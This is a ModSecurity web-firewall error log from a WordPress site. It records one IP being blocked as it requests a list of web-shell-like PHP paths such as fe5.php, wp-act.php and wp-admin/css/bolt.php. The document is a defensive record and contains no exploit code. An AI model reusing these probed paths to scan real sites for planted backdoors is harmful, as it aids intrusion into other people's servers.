[Wed Apr 22 23:49:57.965485 2026] [:error] [pid 6384:tid 6394] [client 172.213.243.103:58179] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aejuJT58M3t15ICeWHWceAAAAMc"]
[Wed Apr 22 23:49:58.460460 2026] [:error] [pid 6384:tid 6400] [client 172.213.243.103:35513] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aejuJj58M3t15ICeWHWcewAAAM0"]
[Wed Apr 22 23:49:58.945007 2026] [:error] [pid 6252:tid 6312] [client 172.213.243.103:35571] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aejuJutGYuiYb1nWBpRtpAAAAQA"]
[Wed Apr 22 23:49:59.455640 2026] [:error] [pid 6344:tid 6354] [client 172.213.243.103:40120] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aejuJ0DOTF-pkQnDeUkgKgAAAAU"]
[Wed Apr 22 23:49:59.975345 2026] [:error] [pid 9085:tid 9109] [client 172.213.243.103:64991] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "aejuJ9-_-or9vQnlWnro-AAAAVY"]
[Wed Apr 22 23:50:00.494009 2026] [:error] [pid 6384:tid 6391] [client 172.213.243.103:41960] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejuKD58M3t15ICeWHWcggAAAMQ"]
[Wed Apr 22 23:50:01.008117 2026] [:error] [pid 9085:tid 9102] [client 172.213.243.103:35573] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejuKd-_-or9vQnlWnro-QAAAU8"]
[Wed Apr 22 23:50:01.492572 2026] [:error] [pid 9085:tid 9093] [client 172.213.243.103:58208] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejuKd-_-or9vQnlWnro-gAAAUY"]
[Wed Apr 22 23:50:01.979894 2026] [:error] [pid 6252:tid 6335] [client 172.213.243.103:39464] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aejuKetGYuiYb1nWBpRtqQAAARc"]
[Wed Apr 22 23:50:02.460149 2026] [:error] [pid 6344:tid 6350] [client 172.213.243.103:35569] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aejuKkDOTF-pkQnDeUkgLQAAAAE"]
[Wed Apr 22 23:50:02.946591 2026] [:error] [pid 9085:tid 9107] [client 172.213.243.103:58219] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aejuKt-_-or9vQnlWnrpAQAAAVQ"]
[Wed Apr 22 23:50:03.424752 2026] [:error] [pid 6252:tid 6324] [client 172.213.243.103:37075] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aejuK-tGYuiYb1nWBpRtrAAAAQw"]
[Wed Apr 22 23:50:03.901267 2026] [:error] [pid 6252:tid 6333] [client 172.213.243.103:35460] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "aejuK-tGYuiYb1nWBpRtrQAAARU"]
[Wed Apr 22 23:50:04.377770 2026] [:error] [pid 6251:tid 6285] [client 172.213.243.103:50580] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aejuLCsFAzbyObL-SQ6aCgAAAIA"]
[Wed Apr 22 23:50:04.855344 2026] [:error] [pid 6384:tid 6400] [client 172.213.243.103:40109] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aejuLD58M3t15ICeWHWciQAAAM0"]
[Wed Apr 22 23:50:05.337577 2026] [:error] [pid 23776:tid 23797] [client 172.213.243.103:40106] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aejuLbRExf-1pAbSeJszTwAAAZM"]
[Wed Apr 22 23:50:05.818789 2026] [:error] [pid 23776:tid 23780] [client 172.213.243.103:35575] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "aejuLbRExf-1pAbSeJszUQAAAYI"]
[Wed Apr 22 23:50:06.297480 2026] [:error] [pid 9085:tid 9096] [client 172.213.243.103:38321] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aejuLt-_-or9vQnlWnrpBQAAAUk"]
[Wed Apr 22 23:50:06.781324 2026] [:error] [pid 9085:tid 9102] [client 172.213.243.103:38295] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aejuLt-_-or9vQnlWnrpBgAAAU8"]
[Wed Apr 22 23:50:07.260175 2026] [:error] [pid 6252:tid 6328] [client 172.213.243.103:65017] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aejuL-tGYuiYb1nWBpRtswAAARA"]
[Wed Apr 22 23:50:07.739880 2026] [:error] [pid 6384:tid 6390] [client 172.213.243.103:40077] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "aejuLz58M3t15ICeWHWckAAAAMM"]
[Wed Apr 22 23:50:08.219012 2026] [:error] [pid 23776:tid 23793] [client 172.213.243.103:50532] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aejuMLRExf-1pAbSeJszVAAAAY8"]
[Wed Apr 22 23:50:08.697556 2026] [:error] [pid 6251:tid 6288] [client 172.213.243.103:41336] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aejuMCsFAzbyObL-SQ6aCwAAAIM"]
[Wed Apr 22 23:50:09.208978 2026] [:error] [pid 6252:tid 6320] [client 172.213.243.103:37147] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aejuMetGYuiYb1nWBpRtuwAAAQg"]
[Wed Apr 22 23:50:09.721009 2026] [:error] [pid 9085:tid 9088] [client 172.213.243.103:37145] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "aejuMd-_-or9vQnlWnrpCAAAAUE"]
[Wed Apr 22 23:50:26.502042 2026] [:error] [pid 6251:tid 6297] [client 172.213.243.103:41920] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aejuQisFAzbyObL-SQ6aHgAAAIw"]
[Wed Apr 22 23:50:27.007548 2026] [:error] [pid 6384:tid 6390] [client 172.213.243.103:41976] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aejuQz58M3t15ICeWHWcrwAAAMM"]
[Wed Apr 22 23:50:27.511671 2026] [:error] [pid 23776:tid 23792] [client 172.213.243.103:50606] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aejuQ7RExf-1pAbSeJszXwAAAY4"]
[Wed Apr 22 23:50:27.993686 2026] [:error] [pid 9085:tid 9096] [client 172.213.243.103:55880] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aejuQ9-_-or9vQnlWnrpRgAAAUk"]
[Wed Apr 22 23:50:28.521531 2026] [:error] [pid 23776:tid 23797] [client 172.213.243.103:50556] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "aejuRLRExf-1pAbSeJszYwAAAZM"]
[Wed Apr 22 23:50:29.010551 2026] [:error] [pid 9085:tid 9087] [client 172.213.243.103:37130] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "aejuRd-_-or9vQnlWnrpSAAAAUA"]
[Wed Apr 22 23:50:29.525158 2026] [:error] [pid 9085:tid 9099] [client 172.213.243.103:35519] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "aejuRd-_-or9vQnlWnrpSQAAAUw"]
[Wed Apr 22 23:50:30.003996 2026] [:error] [pid 9085:tid 9093] [client 172.213.243.103:50582] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "aejuRt-_-or9vQnlWnrpTAAAAUY"]
[Wed Apr 22 23:50:30.516484 2026] [:error] [pid 23776:tid 23782] [client 172.213.243.103:38335] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "aejuRrRExf-1pAbSeJszZwAAAYQ"]
[Wed Apr 22 23:50:31.028490 2026] [:error] [pid 6250:tid 6268] [client 172.213.243.103:35554] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "aejuRw-iZeQkqmQVfj40NwAAAE4"]
[Wed Apr 22 23:50:31.506187 2026] [:error] [pid 23776:tid 23778] [client 172.213.243.103:8482] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "aejuR7RExf-1pAbSeJszaAAAAYA"]
[Wed Apr 22 23:50:32.004291 2026] [:error] [pid 6384:tid 6406] [client 172.213.243.103:37133] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "aejuSD58M3t15ICeWHWctAAAANM"]
[Wed Apr 22 23:50:32.517484 2026] [:error] [pid 6384:tid 6395] [client 172.213.243.103:50500] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aejuSD58M3t15ICeWHWctQAAAMg"]
[Wed Apr 22 23:50:33.029605 2026] [:error] [pid 6344:tid 6357] [client 172.213.243.103:50548] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aejuSUDOTF-pkQnDeUkgOwAAAAg"]
[Wed Apr 22 23:50:33.506945 2026] [:error] [pid 23776:tid 23787] [client 172.213.243.103:35527] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aejuSbRExf-1pAbSeJszawAAAYk"]
[Wed Apr 22 23:50:33.988695 2026] [:error] [pid 6250:tid 6255] [client 172.213.243.103:55933] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aejuSQ-iZeQkqmQVfj40PAAAAEE"]
[Wed Apr 22 23:50:34.464793 2026] [:error] [pid 6250:tid 6269] [client 172.213.243.103:58238] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "aejuSg-iZeQkqmQVfj40PwAAAE8"]
[Wed Apr 22 23:50:34.942535 2026] [:error] [pid 6384:tid 6392] [client 172.213.243.103:35500] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "aejuSj58M3t15ICeWHWcugAAAMU"]
[Wed Apr 22 23:50:35.419366 2026] [:error] [pid 9085:tid 9109] [client 172.213.243.103:40113] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "aejuS9-_-or9vQnlWnrpUwAAAVY"]
[Wed Apr 22 23:50:35.896347 2026] [:error] [pid 6252:tid 6325] [client 172.213.243.103:37123] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "aejuS-tGYuiYb1nWBpRtywAAAQ0"]
[Wed Apr 22 23:50:36.379215 2026] [:error] [pid 9085:tid 9110] [client 172.213.243.103:37180] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "aejuTN-_-or9vQnlWnrpVgAAAVc"]
[Wed Apr 22 23:50:36.860356 2026] [:error] [pid 9085:tid 9106] [client 172.213.243.103:35835] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "aejuTN-_-or9vQnlWnrpWAAAAVM"]
[Wed Apr 22 23:50:37.338817 2026] [:error] [pid 6250:tid 6268] [client 172.213.243.103:8986] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "aejuTQ-iZeQkqmQVfj40RAAAAE4"]
[Wed Apr 22 23:50:37.816390 2026] [:error] [pid 9085:tid 9089] [client 172.213.243.103:41968] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "aejuTd-_-or9vQnlWnrpWwAAAUI"]
[Wed Apr 22 23:50:38.340634 2026] [:error] [pid 9085:tid 9098] [client 172.213.243.103:40091] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "aejuTt-_-or9vQnlWnrpXQAAAUs"]
[Wed Apr 22 23:50:38.831925 2026] [:error] [pid 6252:tid 6320] [client 172.213.243.103:41944] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "aejuTutGYuiYb1nWBpRtzQAAAQg"]
[Wed Apr 22 23:50:39.329945 2026] [:error] [pid 6250:tid 6265] [client 172.213.243.103:62411] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "aejuTw-iZeQkqmQVfj40RgAAAEs"]
[Wed Apr 22 23:50:39.811866 2026] [:error] [pid 6250:tid 6263] [client 172.213.243.103:55898] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "aejuTw-iZeQkqmQVfj40SAAAAEk"]
[Wed Apr 22 23:50:40.303416 2026] [:error] [pid 9085:tid 9104] [client 172.213.243.103:58203] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "aejuUN-_-or9vQnlWnrpYAAAAVE"]
[Wed Apr 22 23:50:40.784053 2026] [:error] [pid 6344:tid 6365] [client 172.213.243.103:38298] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "aejuUEDOTF-pkQnDeUkgQQAAABA"]
[Wed Apr 22 23:50:41.272867 2026] [:error] [pid 9085:tid 9093] [client 172.213.243.103:58233] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "aejuUd-_-or9vQnlWnrpYgAAAUY"]
